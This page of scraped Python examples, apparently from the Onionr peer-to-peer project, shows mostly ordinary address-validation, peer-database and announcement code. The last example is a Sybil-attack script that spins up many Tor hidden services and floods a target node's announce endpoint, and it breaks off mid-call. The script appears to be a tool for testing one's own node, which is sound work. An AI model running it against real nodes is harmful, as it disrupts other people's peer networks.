Exemplo n.º 1
0
def add_address(address):
    """Add an address to the address database (only tor currently)"""

    if type(address) is None or len(address) == 0:
        return False
    if stringvalidators.validate_transport(address):
        if address in gettransports.get():
            return False
        conn = sqlite3.connect(dbfiles.address_info_db,
                               timeout=onionrvalues.DATABASE_LOCK_TIMEOUT)
        c = conn.cursor()
        # check if address is in database
        # this is safe to do because the address is validated above, but we strip some chars here too just in case
        address = address.replace('\'', '').replace(';', '').replace(
            '"', '').replace('\\', '')
        for i in c.execute("SELECT * FROM adders WHERE address = ?;",
                           (address, )):
            try:
                if i[0] == address:
                    conn.close()
                    return False
            except ValueError:
                pass
            except IndexError:
                pass

        t = (address, 1)
        c.execute('INSERT INTO adders (address, type) VALUES(?, ?);', t)
        conn.commit()
        conn.close()

        return True
    else:
        return False
Exemplo n.º 2
0
def handle_announce(request):
    """accept announcement posts, validating POW
    clientAPI should be an instance of the clientAPI server running, request is a instance of a flask request
    """
    resp = 'failure'
    newNode = ''

    try:
        newNode = request.form['node'].encode()
    except KeyError:
        logger.warn('No node specified for upload')
    else:
        newNode = bytesconverter.bytes_to_str(newNode)
        announce_queue = deadsimplekv.DeadSimpleKV(filepaths.announce_cache)
        announce_queue_list = announce_queue.get('new_peers')
        if announce_queue_list is None:
            announce_queue_list = []
        else:
            if len(announce_queue_list) >= onionrvalues.MAX_NEW_PEER_QUEUE:
                newNode = ''

        if stringvalidators.validate_transport(newNode) and \
                newNode not in announce_queue_list:
            g.shared_state.get(
                deadsimplekv.DeadSimpleKV).get('newPeers').append(newNode)
            announce_queue.put('new_peers',
                               announce_queue_list.append(newNode))
            announce_queue.flush()
            resp = 'Success'

    resp = Response(resp)
    if resp == 'failure':
        return resp, 406
    return resp
Exemplo n.º 3
0
def lookup_new_peer_transports_with_communicator(comm_inst):
    logger.info('Looking up new addresses...')
    tryAmount = 1
    newPeers = []
    transports = gettransports.get()

    for i in range(tryAmount):
        # Download new peer address list from random online peers
        if len(newPeers) > 10000:
            # Don't get new peers if we have too many queued up
            break
        peer = onlinepeers.pick_online_peer(comm_inst)
        newAdders = peeraction.peer_action(comm_inst, peer, action='pex')
        try:
            newPeers = newAdders.split(',')
        except AttributeError:
            pass
    else:
        # Validate new peers are good format and not already in queue
        invalid = []
        for x in newPeers:
            x = x.strip()
            if not stringvalidators.validate_transport(x) or x in comm_inst.newPeers or x in transports:
                # avoid adding if its our address
                invalid.append(x)
        for x in invalid:
            try:
                newPeers.remove(x)
            except ValueError:
                pass
        comm_inst.newPeers.extend(newPeers)
    comm_inst.decrementThreadCount('lookup_new_peer_transports_with_communicator')
Exemplo n.º 4
0
 def get_bootstrap(address):
     if stringvalidators.validate_transport(address + '.onion'):
         # Set the bootstrap address then close the server
         bootstrap_address = address + '.onion'
         key_store.put(bs_id, bootstrap_address)
         http_server.stop()
         return Response("success")
     else:
         return Response("")
Exemplo n.º 5
0
def handle_announce(request):
    '''
    accept announcement posts, validating POW
    clientAPI should be an instance of the clientAPI server running, request is a instance of a flask request
    '''
    resp = 'failure'
    powHash = ''
    randomData = ''
    newNode = ''

    try:
        newNode = request.form['node'].encode()
    except KeyError:
        logger.warn('No node specified for upload')
        pass
    else:
        try:
            randomData = request.form['random']
            randomData = base64.b64decode(randomData)
        except KeyError:
            logger.warn('No random data specified for upload')
        else:
            nodes = newNode + bytesconverter.str_to_bytes(
                gettransports.get()[0])
            nodes = crypto.hashers.blake2b_hash(nodes)
            powHash = crypto.hashers.blake2b_hash(randomData + nodes)
            try:
                powHash = powHash.decode()
            except AttributeError:
                pass
            if powHash.startswith('0' * onionrvalues.ANNOUNCE_POW):
                newNode = bytesconverter.bytes_to_str(newNode)
                announce_queue = deadsimplekv.DeadSimpleKV(
                    filepaths.announce_cache)
                announce_queue_list = announce_queue.get('new_peers')
                if announce_queue_list is None:
                    announce_queue_list = []

                if stringvalidators.validate_transport(
                        newNode) and not newNode in announce_queue_list:
                    #clientAPI.onionrInst.communicatorInst.newPeers.append(newNode)
                    g.shared_state.get(
                        OnionrCommunicatorDaemon).newPeers.append(newNode)
                    announce_queue.put('new_peers',
                                       announce_queue_list.append(newNode))
                    announce_queue.flush()
                    resp = 'Success'
            else:
                logger.warn(newNode.decode() + ' failed to meet POW: ' +
                            powHash)
    resp = Response(resp)
    if resp == 'failure':
        return resp, 406
    return resp
Exemplo n.º 6
0
    def test_peer_validator(self):
        # Test hidden service domain validities
        valid = [
            'facebookcorewwwi.onion',
            'vww6ybal4bd7szmgncyruucpgfkqahzddi37ktceo3ah7ngmcopnpyyd.onion',
            '5bvb5ncnfr4dlsfriwczpzcvo65kn7fnnlnt2ln7qvhzna2xaldq.b32.i2p'
        ]

        invalid = [
            None, 'dsfewjirji0ejipdfs', '', '    ', '\n', '\r\n',
            'f$ce%^okc+rewwwi.onion', 'facebookc0rewwi.onion'
        ]

        for x in valid:
            print('testing', x)
            self.assertTrue(stringvalidators.validate_transport(x))

        for x in invalid:
            print('testing', x)
            self.assertFalse(stringvalidators.validate_transport(x))
Exemplo n.º 7
0
def clean_ephemeral_services():
    """Remove transport's ephemeral services from respective controllers"""
    try:
        with open(ephemeral_services_file, 'r') as services:
            services = services.readlines()
            with get_controller() as torcontroller:
                for hs in services:
                    hs += '.onion'
                    if validate_transport(hs):
                        torcontroller.remove_ephemeral_hidden_service(hs)
    except FileNotFoundError:
        pass
    else:
        clean(ephemeral_services_file)
Exemplo n.º 8
0
    def __init__(self, address):
        if not stringvalidators.validate_transport(address): raise onionrexceptions.InvalidAddress
        self.address = address # node address
        self.score = None
        self.friendSigCount = 0
        self.success = 0
        self.failure = 0
        self.connectTime = None

        self.loadScore()
        self.getConnectTime()

        self.last_updated = {'connect_time': UPDATE_DELAY, 'score': UPDATE_DELAY} # Last time a given value was updated
        
        if not address in keydb.listkeys.list_adders() and not onionrblacklist.OnionrBlackList().inBlacklist(address):
            keydb.addkeys.add_address(address)
Exemplo n.º 9
0
def remove_address(address):
    '''
        Remove an address from the address database
    '''

    if stringvalidators.validate_transport(address):
        conn = sqlite3.connect(dbfiles.address_info_db,
                               timeout=onionrvalues.DATABASE_LOCK_TIMEOUT)
        c = conn.cursor()
        t = (address, )
        c.execute('Delete from adders where address=?;', t)
        conn.commit()
        conn.close()

        #events.event('address_remove', data = {'address': address}, onionr = core_inst.onionrInst)
        return True
    else:
        return False
Exemplo n.º 10
0
def service_creator(daemon):
    assert isinstance(daemon, communicator.OnionrCommunicatorDaemon)
    
    # Find socket connection blocks
    # TODO cache blocks and only look at recently received ones
    con_blocks = blockmetadb.get_blocks_by_type('con')
    for b in con_blocks:
        if not b in daemon.active_services:
            bl = onionrblockapi.Block(b, decrypt=True)
            bs = bytesconverter.bytes_to_str(bl.bcontent) + '.onion'
            if server_exists(bl.signer):
                continue
            if stringvalidators.validate_pub_key(bl.signer) and stringvalidators.validate_transport(bs):
                signer = bytesconverter.bytes_to_str(bl.signer)
                daemon.active_services.append(b)
                daemon.active_services.append(signer)
                if not daemon.services.create_server(signer, bs, daemon):
                    daemon.active_services.remove(b)
                    daemon.active_services.remove(signer)
    daemon.decrementThreadCount('service_creator')
Exemplo n.º 11
0
def lookup_new_peer_transports_with_communicator(shared_state):
    logger.info('Looking up new addresses...')
    tryAmount = 1
    newPeers = []
    transports = gettransports.get()
    kv: "DeadSimpleKV" = shared_state.get_by_string("DeadSimpleKV")

    for i in range(tryAmount):
        # Download new peer address list from random online peers
        if len(newPeers) > 10000:
            # Don't get new peers if we have too many queued up
            break
        try:
            peer = onlinepeers.pick_online_peer(kv)
            newAdders = peeraction.peer_action(shared_state,
                                               peer,
                                               action='pex')
        except onionrexceptions.OnlinePeerNeeded:
            continue
        try:
            newPeers = newAdders.split(',')
        except AttributeError:
            pass
    else:
        # Validate new peers are good format and not already in queue
        invalid = []
        for x in newPeers:
            x = x.strip()
            if not stringvalidators.validate_transport(x) \
                    or x in kv.get('newPeers') or x in transports:
                # avoid adding if its our address
                invalid.append(x)
        for x in invalid:
            try:
                newPeers.remove(x)
            except ValueError:
                pass
        kv.get('newPeers').extend(newPeers)
Exemplo n.º 12
0
 def create_server(self, peer, address, comm_inst):
     '''
         When a client wants to connect, contact their bootstrap address and tell them our
         ephemeral address for our service by creating a new ConnectionServer instance
     '''
     if not stringvalidators.validate_transport(address):
         raise ValueError('address must be valid')
     BOOTSTRAP_TRIES = 10  # How many times to attempt contacting the bootstrap server
     TRY_WAIT = 3  # Seconds to wait before trying bootstrap again
     # HTTP is fine because .onion/i2p is encrypted/authenticated
     base_url = 'http://%s/' % (address, )
     socks = config.get('tor.socksport')
     for x in range(BOOTSTRAP_TRIES):
         if basicrequests.do_get_request(base_url + 'ping',
                                         port=socks,
                                         ignoreAPI=True) == 'pong!':
             # if bootstrap sever is online, tell them our service address
             connectionserver.ConnectionServer(peer,
                                               address,
                                               comm_inst=comm_inst)
         else:
             time.sleep(TRY_WAIT)
     else:
         return False
Exemplo n.º 13
0
def connect_new_peer_to_communicator(shared_state,
                                     peer='',
                                     useBootstrap=False):
    retData = False
    kv: "DeadSimpleKV" = shared_state.get_by_string("DeadSimpleKV")
    tried = kv.get('offlinePeers')
    transports = gettransports.get()
    if peer != '':
        if stringvalidators.validate_transport(peer):
            peerList = [peer]
        else:
            raise onionrexceptions.InvalidAddress(
                'Will not attempt connection test to invalid address')
    else:
        peerList = keydb.listkeys.list_adders()

    mainPeerList = keydb.listkeys.list_adders()
    peerList = onionrpeers.get_score_sorted_peer_list()
    """
    If we don't have enough peers connected or random chance,
    select new peers to try
    """
    if len(peerList) < 8 or secrets.randbelow(4) == 3:
        tryingNew = []
        for x in kv.get('newPeers'):
            if x not in peerList:
                peerList.append(x)
                tryingNew.append(x)
        for i in tryingNew:
            kv.get('newPeers').remove(i)

    if len(peerList) == 0 or useBootstrap:
        # Avoid duplicating bootstrap addresses in peerList
        if config.get('general.use_bootstrap_list', True):
            bootstrappeers.add_bootstrap_list_to_peer_list(kv, peerList)

    for address in peerList:
        address = address.strip()

        # Don't connect to our own address
        if address in transports:
            continue
        """Don't connect to invalid address or
        if its already been tried/connected, or if its cooled down
        """
        if len(address) == 0 or address in tried \
            or address in kv.get('onlinePeers') \
                or address in kv.get('cooldownPeer'):
            continue
        if kv.get('shutdown'):
            return
        # Ping a peer,
        ret = peeraction.peer_action(shared_state, address, 'ping')
        if ret == 'pong!':
            time.sleep(0.1)
            if address not in mainPeerList:
                # Add a peer to our list if it isn't already since it connected
                networkmerger.mergeAdders(address)
            if address not in kv.get('onlinePeers'):
                logger.info('Connected to ' + address, terminal=True)
                kv.get('onlinePeers').append(address)
                kv.get('connectTimes')[address] = epoch.get_epoch()
            retData = address

            # add peer to profile list if they're not in it
            for profile in kv.get('peerProfiles'):
                if profile.address == address:
                    break
            else:
                kv.get('peerProfiles').append(
                    onionrpeers.PeerProfiles(address))
            break
        else:
            # Mark a peer as tried if they failed to respond to ping
            tried.append(address)
            logger.debug('Failed to connect to %s: %s ' % (address, ret))
    return retData
Exemplo n.º 14
0
from onionrutils import stringvalidators
from onionrutils import basicrequests

from stem.control import Controller

onionr_ip = input("onionr ip address: ")
onionr_port = int(input("Enter onionr public api port: "))

controller = Controller.from_port('127.0.0.1',
                                  int(input("Enter tor controller port: ")))
controller.authenticate()

node = input(
    "Enter node to attack. Note that you legally must use your own, and even that might lead to technical or legal issues: "
)
assert stringvalidators.validate_transport(node)

socks = input("Socks:")

adders = set([])
for i in range(int(input("Sybil addresses: "))):
    response = controller.create_ephemeral_hidden_service(
        {80: f'{onionr_ip}:{onionr_port}'}, await_publication=True)
    #print(i, response.service_id)
    adders.add(response.service_id)

for x in adders:
    x += '.onion'
    print(f"Introducing {x} to {node}")
    basicrequests.do_post_request(f'http://{node}/announce',
                                  data={'node': x},